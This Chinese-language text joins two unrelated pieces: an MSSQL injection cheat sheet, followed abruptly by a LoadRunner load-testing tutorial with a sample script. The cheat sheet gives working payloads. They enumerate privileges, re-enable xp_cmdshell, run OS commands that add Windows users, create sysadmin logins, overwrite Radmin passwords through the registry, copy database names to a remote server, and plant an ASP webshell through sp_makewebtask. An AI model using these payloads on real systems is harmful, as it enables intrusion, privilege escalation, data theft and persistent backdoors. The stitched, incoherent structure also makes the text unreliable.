And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
and 1= (Select HAS_DBACCESS('master'))
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
數(shù)字類(lèi)型
and char(124)%2Buser%2Bchar(124)=0
字符類(lèi)型
' and char(124)%2Buser%2Bchar(124)=0 and ''='
搜索類(lèi)型
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
爆用戶(hù)名
and user>0
' and user>0 and ''='
檢測(cè)是否為SA權(quán)限
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
檢測(cè)是不是MSSQL數(shù)據(jù)庫(kù)
and exists (select * from sysobjects);--
檢測(cè)是否支持多行
;declare @d int;--
恢復(fù) xp_cmdshell
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
//-----------------------
// 執(zhí)行命令
//-----------------------
首先開(kāi)啟沙盤(pán)模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb執(zhí)行系統(tǒng)命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select
shell("cmd.exe /c net user admin admin1234 /add")')
執(zhí)行命令
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
判斷xp_cmdshell擴(kuò)展存儲(chǔ)過(guò)程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
寫(xiě)注冊(cè)表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
REG_SZ
讀注冊(cè)表
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
讀取目錄內(nèi)容
exec master..xp_dirtree 'c:\winnt\system32\',1,1
數(shù)據(jù)庫(kù)備份
backup database pubs to disk = 'c:\123.bak'
//爆出長(zhǎng)度
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
更改sa口令方法:用sql綜合利用工具連接后,執(zhí)行命令:
exec sp_password NULL,'新密碼','sa'
添加和刪除一個(gè)SA權(quán)限的用戶(hù)test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin
刪除擴(kuò)展存儲(chǔ)過(guò)過(guò)程xp_cmdshell的語(yǔ)句:
exec sp_dropextendedproc 'xp_cmdshell'
添加擴(kuò)展存儲(chǔ)過(guò)過(guò)程
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
GRANT exec On xp_proxiedadata TO public
停掉或激活某個(gè)服務(wù)。
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
dbo.xp_subdirs
只列某個(gè)目錄下的子目錄。
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
dbo.xp_makecab
將目標(biāo)多個(gè)檔案壓縮到某個(gè)目標(biāo)檔案之內(nèi)。
所有要壓縮的檔案都可以接在參數(shù)列的最后方,以逗號(hào)隔開(kāi)。
dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
xp_terminate_process
停掉某個(gè)執(zhí)行中的程序,但賦予的參數(shù)是 Process ID。
利用”工作管理員”,透過(guò)選單「檢視」-「選擇字段」勾選 pid,就可以看到每個(gè)執(zhí)行程序的 Process ID
xp_terminate_process 2484
xp_unpackcab
解開(kāi)壓縮檔。
xp_unpackcab 'c:\test.cab','c:\temp',1
某機(jī),安裝了radmin,密碼被修改了,regedit.exe不知道被刪除了還是被改名了,net.exe不存在,沒(méi)有辦法使用regedit /e 導(dǎo)入注冊(cè)文件,但是mssql是sa權(quán)限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密碼為12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 則端口值改為1234
create database lcx;
Create TABLE ku(name nvarchar(256) null);
Create TABLE biao(id int NULL,name nvarchar(256) null);
//得到數(shù)據(jù)庫(kù)名
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
//在Master中創(chuàng)建表,看看權(quán)限怎樣
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
用 sp_makewebtask直接在web目錄里寫(xiě)入一句話?cǎi)R:
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
//更新表內(nèi)容
Update films SET kind = 'Dramatic' Where id = 123
//刪除內(nèi)容
delete from table_name where Stockid = 3
LoadRunner是HP公司的一款付費(fèi)工具,該工具是一種預(yù)測(cè)系統(tǒng)行為和性能的
負(fù)載測(cè)試工具。通過(guò)模擬上千萬(wàn)用戶(hù)實(shí)施并發(fā)負(fù)載來(lái)確認(rèn)和查找問(wèn)題。
2.什么是負(fù)載測(cè)試
通過(guò)測(cè)試系統(tǒng)在資源超負(fù)荷的情況下的表現(xiàn),以發(fā)現(xiàn)設(shè)計(jì)上面的錯(cuò)誤或驗(yàn)證系統(tǒng)的負(fù)載能力。
負(fù)載測(cè)試的目標(biāo)是確定并保證系統(tǒng)在超出最大預(yù)期
工作量的情況下仍能正常運(yùn)行,還能評(píng)估系統(tǒng)的性能特征。
下面介紹一下關(guān)于負(fù)載測(cè)試的幾個(gè)基本概念:
2.1吞吐率:服務(wù)器并發(fā)處理能力的量化描述(單位reqs/s),單位時(shí)間內(nèi)處理的請(qǐng)求數(shù)。
2.2并發(fā)連接數(shù):某一個(gè)時(shí)間點(diǎn)允許最大的請(qǐng)求數(shù)量,這個(gè)常用來(lái)衡量系統(tǒng)的并發(fā)處理請(qǐng)求的能力,應(yīng)該區(qū)分與下面的并發(fā)用戶(hù)數(shù)。
2.3并發(fā)用戶(hù)數(shù):一個(gè)用戶(hù)可能會(huì)產(chǎn)生多個(gè)并發(fā)連接,例如IE8目前支持6個(gè)并發(fā)連接。
2.4用戶(hù)請(qǐng)求平均時(shí)間:大量用戶(hù)請(qǐng)求從發(fā)起到接收到處理結(jié)果的一個(gè)平均時(shí)間,在
web頁(yè)面默認(rèn)不超過(guò)3秒是最佳的用戶(hù)體念。
2.5服務(wù)器平均處理請(qǐng)求時(shí)間:處理完成一個(gè)請(qǐng)求所用的平均時(shí)間,這個(gè)指標(biāo)可用來(lái)衡量業(yè)務(wù)邏輯復(fù)雜度和機(jī)器的性能指標(biāo)。
3.使用LoadRunner進(jìn)行負(fù)載測(cè)試詳解
3.1負(fù)載測(cè)試目標(biāo)
在做任何事情的時(shí)候,都應(yīng)該三思而后行,明確要達(dá)到的目標(biāo)。然后計(jì)劃一步一步的達(dá)到所定的目標(biāo)。同樣在測(cè)試初期我們應(yīng)該明確定義需要達(dá)到的測(cè)試目標(biāo),例如:我們現(xiàn)在要測(cè)試一個(gè)調(diào)用人力資源數(shù)據(jù)的WebService接口,我們的重點(diǎn)測(cè)試規(guī)定時(shí)間長(zhǎng)度的接口并發(fā)處理能力,且接口的單次調(diào)用時(shí)間不超過(guò)3秒,在最大并發(fā)用戶(hù)80最小并發(fā)用戶(hù)20平均并發(fā)用戶(hù)40的情況下進(jìn)行30分鐘的接口調(diào),預(yù)計(jì)總調(diào)用次數(shù)10000次,用戶(hù)平均請(qǐng)求時(shí)間不超過(guò)5秒。
怎樣定義以上測(cè)試目標(biāo)的呢?第一、寫(xiě)一個(gè)腳本順序多次調(diào)用接口獲得一個(gè)平均單次調(diào)用時(shí)間,且這個(gè)時(shí)間作為基礎(chǔ)時(shí)間。第二、最大并發(fā)用戶(hù)、最小并發(fā)用戶(hù)和平均并發(fā)用戶(hù)來(lái)自對(duì)原有系統(tǒng)的分析,發(fā)現(xiàn)人力資源接口在公司中被大量其他系統(tǒng)所訪問(wèn)經(jīng)過(guò)分析和調(diào)查得出最大并發(fā)用戶(hù)80最小并發(fā)用戶(hù)20平均并發(fā)用戶(hù)40的結(jié)果。第三、調(diào)用次數(shù)10000次如何得來(lái),根據(jù)設(shè)置的3個(gè)請(qǐng)求源,分別設(shè)置這3個(gè)請(qǐng)求開(kāi)始時(shí)間和結(jié)束事件計(jì)算得來(lái)的,如A請(qǐng)求源從0~20分鐘并發(fā)用戶(hù)訪問(wèn)數(shù)為20,B請(qǐng)求源并發(fā)數(shù)為30從10分鐘~25分鐘,C請(qǐng)求源從15分鐘至30分鐘,并發(fā)用戶(hù)數(shù)為30.
3.2創(chuàng)建負(fù)載測(cè)試腳本
腳本是用來(lái)運(yùn)行需要測(cè)試對(duì)象的主要力量。
腳本主要分了3個(gè)部分vuser_init和Action和vuser_end這三個(gè)部分,vuser_init 是虛擬用戶(hù)創(chuàng)建的函數(shù),vuser_end是運(yùn)行結(jié)束后銷(xiāo)毀虛擬用戶(hù)的函數(shù),Action是主要的代碼運(yùn)行測(cè)試的部分。
Action可以建立多個(gè),每一個(gè)Action都負(fù)責(zé)各自的事情。
Action() { <span style="white-space:pre"> </span>//輸入字符串 char input[500]="command="; //日志記錄地址 char *address="D:\\LoadRunnerWorkSpace\\RunLog\\log.log"; <span style="white-space:pre"> </span>long filename;//定義存儲(chǔ)文件指針的變量 //輸入?yún)?shù),進(jìn)行了參數(shù)化,可以進(jìn)行配置 char *cmd = lr_eval_string("{InputParam}"); //輸出參數(shù) char *out = ""; |
lr_start_transaction("init"); //定義初始化事務(wù) strcat(input,cmd); lr_end_transaction("init", LR_AUTO);//結(jié)束初始化事務(wù) lr_rendezvous("beginaction");//事務(wù)集結(jié)點(diǎn) lr_start_transaction("call");//初始化訪問(wèn)接口的事務(wù) web_service_call( "StepName=ExecuteCommand_102", "SOAPMethod=Test|TestSoap|ExecuteCommand", "ResponseParam=response", "Service=Test", "ExpectedResponse=SoapResult", "Snapshot=t1397177849.inf", BEGIN_ARGUMENTS, input, END_ARGUMENTS, BEGIN_RESULT, "ExecuteCommandResult=outPutParams", END_RESULT, LAST); lr_end_transaction("call", LR_AUTO);//結(jié)束訪問(wèn)接口事務(wù) lr_start_transaction("log");//初始化記錄日志事務(wù) //獲取輸入值 out = lr_eval_string("{outPutParams}"); //輸出信息 lr_output_message("調(diào)用日志|Cmd=%s|Re=%s\r\n",cmd,out); //寫(xiě)自定義日志文件 if ((filename=fopen(address,"a+"))==NULL)//打開(kāi)文件 { lr_error_message("can not open this file,address=%s",address); return -1; } fprintf(filename,"調(diào)用日志|Cmd=%s|Re=%s\r\n",cmd,out); lr_end_transaction("log", LR_AUTO);//結(jié)束訪問(wèn)接口事務(wù) lr_start_transaction("interval"); lr_think_time(0.1); //定義思考時(shí)間,思考時(shí)間和模擬程序?qū)I(yè)務(wù)處理事件有些類(lèi)似 lr_end_transaction("interval", LR_AUTO); return 0; } |
創(chuàng)建完成腳本之后單次執(zhí)行該接口查看action程序是否正確,能夠正常運(yùn)行。
如果能夠正常運(yùn)行,進(jìn)行下一步操作。
3.3執(zhí)行負(fù)載測(cè)試(Run Load Tests)
在執(zhí)行之前(Design)中對(duì)我的測(cè)試目標(biāo)的3個(gè)請(qǐng)求源進(jìn)行配置,創(chuàng)建相應(yīng)的請(qǐng)求場(chǎng)景,這個(gè)配置可以在(Interactive Schedule Graph)查看相應(yīng)請(qǐng)求場(chǎng)景。
配置好之后在(Run)點(diǎn)擊Start scenario。
經(jīng)過(guò)漫長(zhǎng)的等待測(cè)試運(yùn)行完畢,系統(tǒng)自己生成響應(yīng)的測(cè)試結(jié)果,泡杯茶小酌一杯呵呵。
3.4執(zhí)行測(cè)試結(jié)果的分析(Analyze Load Tests)
導(dǎo)入生成的res1文件,系統(tǒng)會(huì)自動(dòng)生成出相應(yīng)的測(cè)試報(bào)表。在Analysis Summary中就可以看出整體的測(cè)試結(jié)果。
還可以通過(guò)查看Running Vusers的情況了解整理的并發(fā)訪問(wèn)情況。
查看Hits per Second,查看每秒的請(qǐng)求數(shù)量的走勢(shì)。
查看Throughput,可以查看整個(gè)壓力測(cè)試過(guò)程中處理數(shù)據(jù)的吞吐量情況,是否達(dá)到設(shè)計(jì)的要求。
查看Transaction Summary,查看整個(gè)壓力測(cè)試的所處理的事務(wù)的匯總統(tǒng)計(jì)。
查看Average Transaction Response Time ,可以查看整個(gè)Action中所有事務(wù)處理的時(shí)間走勢(shì)。
4.通過(guò)上面的測(cè)試結(jié)果我們可以判定我們的測(cè)試是否滿(mǎn)足要求
不要迷信性能測(cè)試,所有的性能“系統(tǒng)的性能不是測(cè)試測(cè)試出來(lái)的,而是系統(tǒng)設(shè)計(jì)出來(lái)的。”
LoadRunner能做系統(tǒng)程序的性能測(cè)試,在一些大型系統(tǒng)中,可能對(duì)系統(tǒng)測(cè)試要分為多個(gè)目標(biāo)多個(gè)維度,要對(duì)硬件架構(gòu)進(jìn)行性能測(cè)試,對(duì)系統(tǒng)進(jìn)行性能測(cè)試,對(duì)網(wǎng)絡(luò)進(jìn)行性能測(cè)試等等多個(gè)維度。
性能測(cè)試的目的有兩方面,第一方面是測(cè)試系統(tǒng)是否滿(mǎn)足設(shè)計(jì)要求。第二方面發(fā)現(xiàn)系統(tǒng)的瓶頸,為系統(tǒng)優(yōu)化提出修改建議。